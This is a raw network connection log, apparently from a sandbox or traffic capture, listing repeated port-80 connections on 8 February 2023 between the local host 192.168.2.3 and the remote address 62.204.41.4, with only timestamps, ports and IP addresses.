Feb 8, 2023 21:32:03.543169022 CET	80	49869	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.543437004 CET	49869	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.544884920 CET	49870	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.546237946 CET	49870	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.606460094 CET	80	49870	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.608895063 CET	80	49870	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.611607075 CET	49870	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.716236115 CET	49870	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.716872931 CET	49871	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.776767969 CET	80	49870	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.777384996 CET	49870	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.778230906 CET	80	49871	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.779419899 CET	49871	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.779794931 CET	49871	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.841012001 CET	80	49871	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.844167948 CET	80	49871	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:03.847414970 CET	49871	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.950987101 CET	49871	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:03.951997995 CET	49872	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.012473106 CET	80	49871	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.012626886 CET	49871	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.014440060 CET	80	49872	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.014606953 CET	49872	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.015501976 CET	49872	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.078394890 CET	80	49872	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.082180023 CET	80	49872	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.084584951 CET	49872	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.204663992 CET	49872	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.205718994 CET	49873	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.267321110 CET	80	49873	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.267359018 CET	80	49872	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.267689943 CET	49873	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.268049002 CET	49873	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.268109083 CET	49872	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.329507113 CET	80	49873	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.331665039 CET	80	49873	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.331854105 CET	49873	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.434881926 CET	49873	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.437268019 CET	49874	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.497334957 CET	80	49873	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.497616053 CET	49873	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.497677088 CET	80	49874	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.499547958 CET	49874	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.500032902 CET	49874	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.560785055 CET	80	49874	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.563184023 CET	80	49874	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.563360929 CET	49874	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.681942940 CET	49874	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.683841944 CET	49875	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.742643118 CET	80	49874	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.742856979 CET	49874	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.745413065 CET	80	49875	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.745577097 CET	49875	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.746049881 CET	49875	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.807665110 CET	80	49875	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.810132980 CET	80	49875	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.810272932 CET	49875	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.919169903 CET	49875	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.920193911 CET	49876	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.981158972 CET	80	49875	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.981292963 CET	80	49876	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:04.981349945 CET	49875	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.981436014 CET	49876	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:04.982214928 CET	49876	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.043595076 CET	80	49876	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.048247099 CET	80	49876	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.048398018 CET	49876	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.161564112 CET	49876	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.162504911 CET	49877	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.222244024 CET	80	49877	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.222496033 CET	49877	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.223018885 CET	49877	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.223073959 CET	80	49876	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.223177910 CET	49876	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.282778025 CET	80	49877	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.286161900 CET	80	49877	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.286292076 CET	49877	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.387973070 CET	49877	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.388871908 CET	49878	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.447782040 CET	80	49877	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.447954893 CET	49877	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.451455116 CET	80	49878	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.451621056 CET	49878	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.452116966 CET	49878	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.514552116 CET	80	49878	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.518059969 CET	80	49878	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.518177032 CET	49878	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.627190113 CET	49878	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.628194094 CET	49879	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.689882040 CET	80	49879	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.689915895 CET	80	49878	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.689996958 CET	49879	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.690043926 CET	49878	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.692639112 CET	49879	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.754458904 CET	80	49879	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.757045984 CET	80	49879	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.757159948 CET	49879	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.877621889 CET	49879	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.878356934 CET	49880	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.939544916 CET	80	49879	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.939615965 CET	49879	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.940727949 CET	80	49880	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:05.940833092 CET	49880	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:05.941168070 CET	49880	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.003699064 CET	80	49880	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.007395029 CET	80	49880	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.007510900 CET	49880	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.122111082 CET	49880	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.123039007 CET	49881	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.185053110 CET	80	49880	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.185173035 CET	49880	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.185416937 CET	80	49881	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.185532093 CET	49881	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.188564062 CET	49881	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.251125097 CET	80	49881	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.255192995 CET	80	49881	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.255309105 CET	49881	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.377801895 CET	49881	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.378745079 CET	49882	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.439372063 CET	80	49882	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.439541101 CET	49882	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.440098047 CET	49882	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.440427065 CET	80	49881	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.440562963 CET	49881	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.500534058 CET	80	49882	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.503624916 CET	80	49882	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.503792048 CET	49882	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.607767105 CET	49882	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.613946915 CET	49883	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.668287039 CET	80	49882	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.671662092 CET	49882	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.676621914 CET	80	49883	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.679781914 CET	49883	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.680162907 CET	49883	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.742556095 CET	80	49883	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.744971037 CET	80	49883	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.747817993 CET	49883	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.857621908 CET	49883	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.860165119 CET	49884	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.920521021 CET	80	49883	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.920797110 CET	49883	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.922594070 CET	80	49884	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.922894001 CET	49884	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.923409939 CET	49884	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:06.985889912 CET	80	49884	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.988398075 CET	80	49884	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:06.989202023 CET	49884	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.106530905 CET	49884	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.107417107 CET	49885	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.166802883 CET	80	49885	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.167867899 CET	49885	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.168687105 CET	80	49884	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.169003963 CET	49885	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.169051886 CET	49884	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.228446007 CET	80	49885	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.232494116 CET	80	49885	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.235730886 CET	49885	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.342199087 CET	49885	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.343070984 CET	49886	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.401942968 CET	80	49885	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.402390003 CET	80	49886	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.402596951 CET	49885	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.402683020 CET	49886	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.408943892 CET	49886	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.468355894 CET	80	49886	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.470880985 CET	80	49886	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.470993042 CET	49886	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.575809956 CET	49886	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.576683998 CET	49887	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.635341883 CET	80	49886	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.635490894 CET	49886	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.638068914 CET	80	49887	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.638186932 CET	49887	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.638708115 CET	49887	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.700139046 CET	80	49887	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.702848911 CET	80	49887	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.702991009 CET	49887	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.811079025 CET	49887	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.812786102 CET	49888	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.872889996 CET	80	49887	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.873086929 CET	49887	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.874373913 CET	80	49888	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.874583960 CET	49888	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.875066042 CET	49888	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:07.936728001 CET	80	49888	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.939343929 CET	80	49888	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:07.939518929 CET	49888	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.044421911 CET	49888	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.045417070 CET	49889	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.106278896 CET	80	49888	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.106365919 CET	49888	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.106865883 CET	80	49889	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.106998920 CET	49889	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.107630968 CET	49889	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.169039011 CET	80	49889	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.173487902 CET	80	49889	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.173697948 CET	49889	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.279314041 CET	49889	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.280291080 CET	49890	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.341094017 CET	80	49889	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.341315031 CET	49889	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.342823982 CET	80	49890	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.343019962 CET	49890	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.343446970 CET	49890	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.405901909 CET	80	49890	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.408909082 CET	80	49890	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.409032106 CET	49890	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.512880087 CET	49890	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.513711929 CET	49891	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.575242043 CET	80	49891	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.575388908 CET	80	49890	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.575401068 CET	49891	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.575475931 CET	49890	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.577608109 CET	49891	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.638993025 CET	80	49891	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.642038107 CET	80	49891	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.642251968 CET	49891	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.751260996 CET	49891	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.752275944 CET	49892	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.812870026 CET	80	49892	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.812905073 CET	80	49891	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.813040018 CET	49891	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.813200951 CET	49892	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.821841002 CET	49892	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.882318974 CET	80	49892	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.885063887 CET	80	49892	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:08.885157108 CET	49892	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.997518063 CET	49892	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:08.999700069 CET	49893	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.058360100 CET	80	49892	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.058521986 CET	49892	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.061983109 CET	80	49893	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.062165976 CET	49893	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.064081907 CET	49893	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.126100063 CET	80	49893	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.130045891 CET	80	49893	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.130176067 CET	49893	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.254014969 CET	49893	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.255064011 CET	49894	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.315582991 CET	80	49894	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.315716982 CET	49894	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.316360950 CET	80	49893	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.316430092 CET	49893	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.316596985 CET	49894	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.376782894 CET	80	49894	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.380016088 CET	80	49894	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.380109072 CET	49894	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.500025988 CET	49894	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.500897884 CET	49895	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.560439110 CET	80	49894	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.562599897 CET	80	49895	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.562774897 CET	49894	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.562839031 CET	49895	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.563401937 CET	49895	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.625170946 CET	80	49895	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.627557039 CET	80	49895	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.627751112 CET	49895	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.732227087 CET	49895	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.733081102 CET	49896	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.794208050 CET	80	49895	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.794491053 CET	80	49896	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.794594049 CET	49895	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.794655085 CET	49896	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.795234919 CET	49896	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.856823921 CET	80	49896	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.859213114 CET	80	49896	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:09.859388113 CET	49896	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.969024897 CET	49896	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:09.970009089 CET	49897	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.030559063 CET	80	49896	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.030751944 CET	49896	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.031493902 CET	80	49897	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.032269955 CET	49897	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.032773018 CET	49897	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.094186068 CET	80	49897	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.098812103 CET	80	49897	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.099963903 CET	49897	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.216629028 CET	49897	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.217713118 CET	49898	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.278486013 CET	80	49897	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.279385090 CET	80	49898	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.279565096 CET	49897	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.279627085 CET	49898	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.281507015 CET	49898	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.343163013 CET	80	49898	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.345503092 CET	80	49898	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.345586061 CET	49898	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.458091974 CET	49898	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.458856106 CET	49899	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.519819975 CET	80	49898	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.520129919 CET	80	49899	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.520311117 CET	49898	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.520380020 CET	49899	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.520937920 CET	49899	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.582247972 CET	80	49899	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.584842920 CET	80	49899	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.584997892 CET	49899	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.701545000 CET	49899	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.712460995 CET	49900	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.763166904 CET	80	49899	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.763417959 CET	49899	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.775099039 CET	80	49900	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.775368929 CET	49900	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.776958942 CET	49900	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.839582920 CET	80	49900	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.842241049 CET	80	49900	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:10.842416048 CET	49900	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.953183889 CET	49900	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:10.954324007 CET	49901	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.014895916 CET	80	49901	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:11.015151024 CET	49901	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.015741110 CET	80	49900	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:11.015872002 CET	49900	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.021220922 CET	49901	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.081759930 CET	80	49901	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:11.086133003 CET	80	49901	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:11.086334944 CET	49901	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.205559969 CET	49901	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.211214066 CET	49902	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.266366005 CET	80	49901	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:11.266499996 CET	49901	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.272761106 CET	80	49902	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:11.272881031 CET	49902	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.276709080 CET	49902	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.338753939 CET	80	49902	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:11.341573000 CET	80	49902	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:11.341725111 CET	49902	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.673393965 CET	49902	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.675000906 CET	49903	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.735013962 CET	80	49902	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:11.735193968 CET	49902	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.736407042 CET	80	49903	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:11.736552954 CET	49903	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.766469002 CET	49903	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.828089952 CET	80	49903	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:11.832688093 CET	80	49903	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:11.832844973 CET	49903	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.976835012 CET	49903	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:11.977917910 CET	49904	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.045030117 CET	80	49903	62.204.41.4	192.168.2.3
